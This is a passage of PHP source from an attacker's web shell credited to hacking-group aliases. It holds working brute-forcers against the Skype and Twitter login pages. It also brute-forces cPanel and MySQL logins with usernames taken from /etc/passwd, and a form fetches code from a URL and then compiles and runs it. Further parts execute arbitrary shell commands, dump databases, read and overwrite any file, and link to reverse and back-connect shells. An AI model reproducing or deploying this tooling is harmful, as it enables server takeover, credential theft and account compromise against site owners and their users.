1076<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
1077<a href="?action=cari">Find Directory Writable/Readable</a> -
1078<a href="?action=zonh">Zone-h Notifier</a> -
1079<a href="?action=shhhshell">Shtml Command Shell</a> -
1080<a href="?action=beko">Back connect Simple</a> -
1081<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
1082<a href="?action=prlbckacnonect">Perl BackConnect</a> -
1083<a href="?action=pythnonbakcncete">Python BackConnect</a> -
1084<a href="?action=exploit">Exploit</a> -
1085<a href="?action=whmcskillrer">Whcms Killer</a> -
1086<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
1087<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
1088</center>
1089</b>';
1090echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Exploit</span><center>';
1091?>
1092<center>
1093<span style="font-family: Tahoma, Geneva, sans-serif;font-size: 12px; color: #007700;"><br />Get and execute<br /><br /></span>
1094<form action="" method="get">
1095<input type="text" name="exp_url" value="http://site.com/exploit"> Type:
1096<select name="run">
1097<option>c++ | .cpp</option>
1098<option>python | .py</option>
1099<option>perl | .pl</option>
1100<option>ruby | .rb</option>
1101</select>
1102<input type="hidden" name="action" value="exploit">
1103<input type="submit" value="Start">
1104</form>
1105</center>
1106<?php
1107}
1108
1109if(isset($_GET['exp_url'])){
1110echo '<center>';
1111if(function_exists("wget")){
1112wget($_GET['exp_url']);
1113echo $_GET['exp_url'].' got in here';
1114if(function_exists("system")){
1115
1116if(isset($_GET['run'])){
1117$run = $_GET['run'];
1118if($run = 'c++ | .cpp'){
1119system("gcc -o exploit ".$_GET['exp_url'].";chmod +x exploit;./exploit;");
1120}
1121if($run = 'perl | .pl'){
1122}
1123if($run = 'python | .py'){
1124}
1125if($run = 'ruby | .rb'){
1126}
1127
1128
1129}
1130
1131
1132}
1133else{
1134echo 'System command disabled';
1135}
1136}
1137else{
1138echo('wget disabled');
1139}
1140echo '</center>';
1141}
1142if(isset($_GET['action']) && $_GET['action'] == 'skybru'){
1143echo '<center><b class="conte">
1144<a href="?action=skybru">Skype Brute Force</a> -
1145<a href="?action=cpbru">Cpanel Brute Force</a> -
1146<a href="?action=jmbru">Joomla Brute Force</a> -
1147<a href="?action=wpbru">Wordpress Brute Force</a> -
1148<a href="?action=twbru">Twitter Brute Force</a> -
1149<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1150</b>';
1151echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Skype Brute Force</span><center>';
1152ob_start();
1153@set_time_limit(0);
1154#Skype BruteForce Developped By noname-haxor from AnonGhost Team (Thanks To Mauritania Attacker)
1155#Idea By : Mauritania Attacker
1156
1157
1158echo "
1159<center><img src='http://www14.0zz0.com/2014/07/26/11/926953700.png' width='450' height='95' /></center>
1160</b>
1161<br></center>
1162<p dir='ltr' align='center' box-shadow: 0px 0px 4px #007700;>
1163<textarea cols='34' class='area' rows='14' name='username'>Target Name</textarea>
1164<textarea cols='34' class='area' rows='14' name='password'>Password</textarea><br>
1165<br>
1166<input type='submit' value='Start BruteForce'><br></p>";
1167if($_POST['username'] and $_POST['password']){
1168 #function
1169 function brute($user,$pass)
1170 {
1171$ch = curl_init();
1172curl_setopt($ch, CURLOPT_URL, "https://login.skype.com/login");
1173curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
1174curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1175curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1176curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");
1177curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116");
1178
1179$login = curl_exec($ch);
1180if(eregi("message message_error", $login)){
1181
1182echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p><br><br><br>";
1183}else{
1184echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>You Are Lucky Password Found ! || Username: <font color='#b0b000'>$user</font> Password : <font color='#b0b000'>$pass</font></font></p><br><br><br>";
1185}
1186}
1187
1188 $username = explode("
1189", $_POST['username']);
1190 $password = explode("
1191", $_POST['password']);
1192
1193
1194 foreach($username as $users) {
1195 $users = @trim($users);
1196 foreach($password as $pass) {
1197 $pass = @trim($pass);
1198 brute($users,$pass); }}
1199
1200
1201 }
1202}
1203
1204
1205
1206if(isset($_GET['action']) && $_GET['action'] == 'twbru'){
1207echo '<center><b class="conte">
1208<a href="?action=skybru">Skype Brute Force</a> -
1209<a href="?action=cpbru">Cpanel Brute Force</a> -
1210<a href="?action=jmbru">Joomla Brute Force</a> -
1211<a href="?action=wpbru">Wordpress Brute Force</a> -
1212<a href="?action=twbru">Twitter Brute Force</a> -
1213<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1214</b>';
1215echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Twitter Multi-Account BruteForce</span><br>Coded By Mauritania Attacker</center><br><br>';
1216echo "<p dir='ltr' align='center'>
1217<textarea cols='22' class='area' rows='14' name='username'>Username</textarea>
1218<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
1219if($_POST['username'] and $_POST['password']){
1220 #function
1221 function brute($user,$pass)
1222 {
1223 $ch = curl_init();
1224 curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
1225 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
1226 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1227 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1228 curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
1229 curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
1230
1231 # cURL - Brute Users & Password
1232 $login = curl_exec($ch);
1233 if(eregi("error notice", $login)){
1234
1235
1236 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
1237 }else{
1238 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
1239 }
1240 }
1241 # POSTS
1242 $username = explode("\n", $_POST['username']);
1243 $password = explode("\n", $_POST['password']);
1244
1245 # Foreach Users N' Textarea
1246 foreach($username as $users) {
1247 $users = @trim($users);
1248 foreach($password as $pass) {
1249 $pass = @trim($pass);
1250 brute($users,$pass); }}
1251 # cURL
1252
1253 }
1254 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
1255}
1256if(isset($_GET['action']) && $_GET['action'] == 'cpbru'){
1257echo '<center><b class="conte">
1258<a href="?action=skybru">Skype Brute Force</a> -
1259<a href="?action=cpbru">Cpanel Brute Force</a> -
1260<a href="?action=jmbru">Joomla Brute Force</a> -
1261<a href="?action=wpbru">Wordpress Brute Force</a> -
1262<a href="?action=twbru">Twitter Brute Force</a> -
1263<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1264</b>';
1265echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel Brute Force</span></center><br><br>';
1266function in($type,$name,$size,$value,$checked=0)
1267 {
1268 $ret = "<input type=".$type." name=".$name." "; if($size != 0)
1269 {
1270 $ret .= "size=".$size." "; }
1271 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
1272
1273class my_sql
1274 {
1275 var $host = 'localhost'; var $port = '; var $user = '; var $pass = '; var $base = '; var $db = '; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
1276 {
1277 switch($this->db)
1278 {
1279 case 'MySQL': if(empty($this->port))
1280 {
1281 $this->port = '3306'; }
1282 if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
1283 {
1284 $this->port = '1433'; }
1285 if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
1286 {
1287 $this->port = '5432'; }
1288 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
1289 return 0; }
1290 function select_db()
1291 {
1292 switch($this->db)
1293 {
1294 case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
1295 return 0; }
1296 function query($query)
1297 {
1298 $this->res=$this->error='; switch($this->db)
1299 {
1300 case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
1301 {
1302 $this->error = @mysql_error($this->connection); return 0; }
1303 else if(is_resource($this->res))
1304 {
1305 return 1; }
1306 return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
1307 {
1308 $this->error = 'Query error'; return 0; }
1309 else if(@mssql_num_rows($this->res) > 0)
1310 {
1311 return 1; }
1312 return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
1313 {
1314 $this->error = @pg_last_error($this->connection); return 0; }
1315 else if(@pg_num_rows($this->res) > 0)
1316 {
1317 return 1; }
1318 return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
1319 {
1320 $this->error = 'Query parse error'; }
1321 else
1322 {
1323 if(@ociexecute($this->res))
1324 {
1325 if(@ocirowcount($this->res) != 0) return 2; return 1; }
1326 $error = @ocierror(); $this->error=$error['message']; }
1327 break; }
1328 return 0; }
1329 function get_result()
1330 {
1331 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
1332 {
1333 case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
1334 {
1335$this->columns = @array_keys($this->rows[0]); return 1;}
1336 break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
1337 {
1338$this->columns = @array_keys($this->rows[0]); return 1;}
1339; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
1340 {
1341$this->columns = @array_keys($this->rows[0]); return 1;}
1342 break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
1343 {
1344$this->columns = @array_keys($this->rows[0]); return 1;}
1345 break; }
1346 return 0; }
1347 function dump($table)
1348 {
1349 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
1350 {
1351 case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1352 {
1353 foreach($this->rows[$i] as $k=>$v)
1354 {
1355$this->rows[$i][$k] = @mysql_real_escape_string($v);}
1356 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\'.@implode("', '", $this->rows[$i]).'\');'; }
1357 break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1358 {
1359 foreach($this->rows[$i] as $k=>$v)
1360 {
1361$this->rows[$i][$k] = @addslashes($v);}
1362 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\'.@implode("', '", $this->rows[$i]).'\');'; }
1363 break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1364 {
1365 foreach($this->rows[$i] as $k=>$v)
1366 {
1367$this->rows[$i][$k] = @addslashes($v);}
1368 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\'.@implode("', '", $this->rows[$i]).'\');'; }
1369 break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
1370 return 1; }
1371 function close()
1372 {
1373 switch($this->db)
1374 {
1375 case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
1376 }
1377 function affected_rows()
1378 {
1379 switch($this->db)
1380 {
1381 case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
1382 }
1383 }
1384 if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
1385 {
1386 if(!$file=@fopen($_POST['d_name'],"r"))
1387 {
1388 err(1,$_POST['d_name']); $_POST['cccc']=""; }
1389 else
1390 {
1391 @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type='; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
1392 {
1393 header('Content-Encoding: ' . $content_encoding); }
1394 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
1395 }
1396 if(isset($_GET['phpinfo']))
1397 {
1398 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
1399 if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
1400 {
1401 echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
1402 {
1403 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
1404 {
1405 foreach($querys as $num=>$query)
1406 {
1407 if(strlen($query)>5)
1408 {
1409 echo "<font face=Verdana size=-2 color=#777777><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
1410 {
1411 case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
1412 {
1413 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(" </b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b> ", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
1414 {
1415 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>'; }
1416 echo "</table>"; }
1417 break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
1418 }
1419 }
1420 }
1421 }
1422 echo "<br><title>Cpanel Brute Force recoded By Virusa Worm</title><form name=form method=POST>";
1423 echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
1424 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
1425
1426
1427function ccmmdd($ccmmdd2,$att)
1428{
1429global $ccmmdd2,$att;
1430echo '
1431<table style="width: 100%" class="style1" dir="rtl">
1432 <tr>
1433 <td class="style9"></td>
1434 </tr>
1435 <tr>
1436 <td class="style13">
1437 <form method="post">
1438 <select name="att" dir="rtl" style="height: 109px" size="6">
1439';
1440if($_POST['att']==null)
1441{
1442echo ' <option value="system" selected="">system</option>';
1443}else{
1444echo " <option value='$_POST[att]' selected='>$_POST[att]</option>
1445 <option value=system>system</option>
1446";
1447
1448
1449}
1450
1451echo '
1452 <option value="passthru">passthru</option>
1453 <option value="exec">exec</option>
1454 <option value="shell_exec">shell_exec</option>
1455 </select>
1456 <input name="page" value="ccmmdd" type="hidden"><br>
1457 <input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
1458 <input type="submit" value="ÊäY�">
1459 </form>
1460
1461 </td>
1462 </tr>
1463 <tr>
1464 <td class="style13">
1465';
1466
1467 if($_POST[att]=='system')
1468 {
1469echo '
1470 <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1471 system($_POST['ccmmdd2']);
1472echo ' </textarea>';
1473
1474
1475 }
1476
1477 if($_POST[att]=='passthru')
1478 {
1479echo '
1480 <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1481 passthru($_POST['ccmmdd2']);
1482echo ' </textarea>';
1483
1484
1485 }
1486
1487
1488
1489
1490
1491 if($_POST[att]=='exec')
1492 {
1493
1494echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1495 exec($_POST['ccmmdd2'],$res);
1496 echo $res = join("\n",$res);
1497echo ' </textarea>';
1498
1499
1500 }
1501
1502
1503
1504
1505
1506
1507
1508 if($_POST[att]=='shell_exec')
1509 {
1510
1511echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1512 echo shell_exec($_POST['ccmmdd2']);
1513echo ' </textarea>';
1514
1515
1516 }
1517echo '
1518 </td>
1519 </tr>
1520</table>
1521';
1522
1523exit;
1524}
1525
1526if($_POST['page']=='edit')
1527{
1528
1529$code=@str_replace("\r\n","\n",$_POST['code']);
1530$code=@str_replace('\\',',$code);
1531$fp = fopen($pathclass, 'w');
1532fwrite($fp,"$code");
1533fclose($fp);
1534echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
1535exit;
1536}
1537
1538 if($_POST['page']=='show')
1539 {
1540 $pathclass =$_POST['pathclass'];
1541echo '
1542<form method="POST">
1543<input type="hidden" name="page" value="edit">
1544';
1545
1546 $sahacker = fopen($pathclass, "rb");
1547echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';
1548$code = fread($sahacker, filesize($pathclass));
1549echo $code =htmlspecialchars($code);
1550echo '</textarea>';
1551 fclose($sahacker);
1552echo '
1553<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
1554<br><strong><input type="submit" value="edit file">
1555</form>
1556';
1557 exit;
1558 }
1559
1560
1561
1562
1563 if($_POST['page']=='ccmmdd')
1564 {
1565 echo ccmmdd($ccmmdd2,$att);
1566 exit;
1567 }
1568
1569if($_POST['page']=='find')
1570{
1571if(isset($_POST['usernames']) && isset($_POST['passwords']))
1572{
1573 if($_POST['type'] == 'passwd'){
1574 $e = explode("\n",$_POST['usernames']);
1575 foreach($e as $value){
1576 $k = explode(":",$value);
1577 $username .= $k['0']." ";
1578 }
1579 }elseif($_POST['type'] == 'simple'){
1580 $username = str_replace("\n",' ',$_POST['usernames']);
1581 }
1582 $a1 = explode(" ",$username);
1583 $a2 = explode("\n",$_POST['passwords']);
1584 $id2 = count($a2);
1585 $ok = 0;
1586 foreach($a1 as $user )
1587 {
1588 if($user !== ')
1589 {
1590 $user=trim($user);
1591 for($i=0;$i<=$id2;$i++)
1592 {
1593 $pass = trim($a2[$i]);
1594 if(@mysql_connect('localhost',$user,$pass))
1595 {
1596 echo "Virusa Worm~ user is (<b><font face='Tahoma' color='#007700' size='2pt'>$user</font></b>) Password is (<b><font face='Tahoma' color='#007700' size='2pt'>$pass</font></b>)<br />";
1597 $ok++;
1598 }
1599 }
1600 }
1601 }
1602 echo "<center><font face='Tahoma' color='#009900' size='2pt'>You Found</font> <b><font face='Tahoma' color='#00ff00' size='2pt'>$ok</font></b> <font face='Tahoma' color='#009900' size='2pt'>Cpanel by Virusa Worm</font></center><br>";
1603 echo "<center><b><a href=".$_SERVER['PHP_SELF']."><font face='Tahoma' color='#007700' size='2pt'>BACK</font></a>";
1604 exit;
1605}
1606}
1607echo '<center>
1608<form method="POST" target="_blank">
1609<input name="page" type="hidden" value="find">
1610<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
1611<tr>
1612<td>
1613<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
1614<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1615<font face="Tahoma" color="#007700" size="2pt">User :</font></td>
1616<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="usernames"></textarea></td>
1617</tr>
1618<tr>
1619<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1620<font face="Tahoma" color="#007700" size="2pt">Pass :</font></td>
1621<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="passwords"></textarea></font></td>
1622</tr>
1623<tr>
1624<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1625<font face="Tahoma" color="#007700" size="2pt">Type :</font></td>
1626<td valign="top" bgcolor="transparent" colspan="5">
1627<span class="style2"><font face="Tahoma" color="#007700" size="2pt">Simple : </font> </span>
1628<input type="radio" name="type" value="simple" checked="checked" class="style3">
1629<font class="style2"><font face="Tahoma" color="#007700" size="2pt">/etc/passwd : </font> </font>
1630<input type="radio" name="type" value="passwd" class="style3"><span class="style3">
1631</span>
1632</td>
1633</tr>
1634<tr>
1635<td valign="top" bgcolor="transparent" style="width: 139px"></td>
1636<td valign="top" bgcolor="transparent" colspan="5"><input class ="inputzbut" type="submit" value="start">
1637</tr>
1638</td>
1639<tr>
1640</form>
1641<td valign="top" colspan="6"></td>
1642<form method="POST" target="_blank">
1643<input type="hidden" name="go" value="cmd_mysql">
1644<tr>
1645<td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD MYSQL</b></font></td>
1646</tr>
1647<tr>
1648<td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">user</font></td>
1649<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_l" type="text"></font></td>
1650<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">pass</font></td>
1651<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_p" type="text"></font></td>
1652<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">database</font></td>
1653<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_db" type="text"></font></td>
1654</tr>
1655<tr>
1656<td valign="top" bgcolor="transparent" style="height: 25px; width: 139px;">
1657<font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
1658<td valign="top" bgcolor="transparent" colspan="5" style="height: 25px">
1659<font face="Tahoma" color="#007700" size="2pt">
1660<br><textarea class="area" name="db_query" cols="90" rows="5">SHOW DATABASES;
1661SHOW TABLES user_vb ;
1662SELECT * FROM user;
1663SELECT version();
1664SELECT user();</textarea></font></td>
1665 </tr>
1666 <tr>
1667 <td valign="top" bgcolor="transparent" style="width: 139px"><strong></strong></td>
1668 <td valign="top" bgcolor="transparent" colspan="5"><strong><input type="submit" value="run"></strong></td>
1669 </tr>
1670<input name="db" value="MySQL" type="hidden">
1671<input name="db_server" type="hidden" value="localhost">
1672<input name="db_port" type="hidden" value="3306">
1673<input name="cccc" type="hidden" value="db_query">
1674
1675</form>
1676 <tr>
1677 <td valign="top" bgcolor="transparent" colspan="6"><strong></strong></td>
1678
1679
1680 </tr>
1681
1682<form method="POST" target="_blank">
1683 <tr>
1684 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD
1685 system - passthru - exec - shell_exec</b></font></td>
1686 </tr>
1687 <tr>
1688 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
1689 <td valign="top" bgcolor="transparent" colspan="5">
1690 <select name="att" dir="rtl" size="1"></center>
1691';
1692if($_POST['att']==null)
1693{
1694echo ' <option value="system" selected="">system</option>';
1695}else{
1696echo " <option value='$_POST[att]' selected='>$_POST[att]</option>
1697 <option value=system>system</option>
1698";
1699
1700
1701}
1702echo '<option value="passthru">passthru</option>
1703 <option value="exec">exec</option>
1704 <option value="shell_exec">shell_exec</option>
1705 </select>
1706
1707<input name="page" type="hidden" value="ccmmdd">
1708 <input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></td>
1709 </tr>
1710 <tr>
1711 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1712 <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="go"></td>
1713 </tr>
1714</form>
1715
1716<form method="POST" target="_blank">
1717
1718 <tr>
1719 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Show
1720 File And Edit</b></font></td>
1721 </tr>
1722 <tr>
1723 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Path ~</font></td>
1724 <td valign="top" bgcolor="transparent" colspan="5">
1725
1726 <input name="pathclass" type="text" style="width: 284px" value="/home/path/"></td>
1727 </tr>
1728 <tr>
1729 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1730 <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="show"></td>
1731 </tr>
1732<input name="page" type="hidden" value="show">
1733</form>
1734 <tr>
1735 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Info
1736 Security</b></font></td>
1737 </tr>
1738 <tr>
1739 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Safe Mode</font></td>
1740 <td valign="top" bgcolor="transparent" colspan="5">
1741 <font face="Tahoma" color="#007700" size="2pt">';
1742 $safe_mode = ini_get('safe_mode');
1743if($safe_mode=='1')
1744{
1745echo '<b><font face="Tahoma" color="#ff0000" size="2pt">ON</font></b>';
1746}else{
1747echo '<b><font face="Tahoma" color="#b0b000" size="2pt">OFF</font></b>';
1748}
1749echo '</font>
1750 </td>
1751 </tr>
1752 <tr>
1753 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Function</font></td>
1754 <td valign="top" bgcolor="transparent" colspan="5">
1755 ';
1756 if('==($func=@ini_get('disable_functions')))
1757{
1758echo "<b><font face='Tahoma' color='#b0b000' size='2pt'> No Security for Function</font></b>";
1759}else{
1760echo '<script>alert("Please see below and press >Please Click Here First!");</script>';
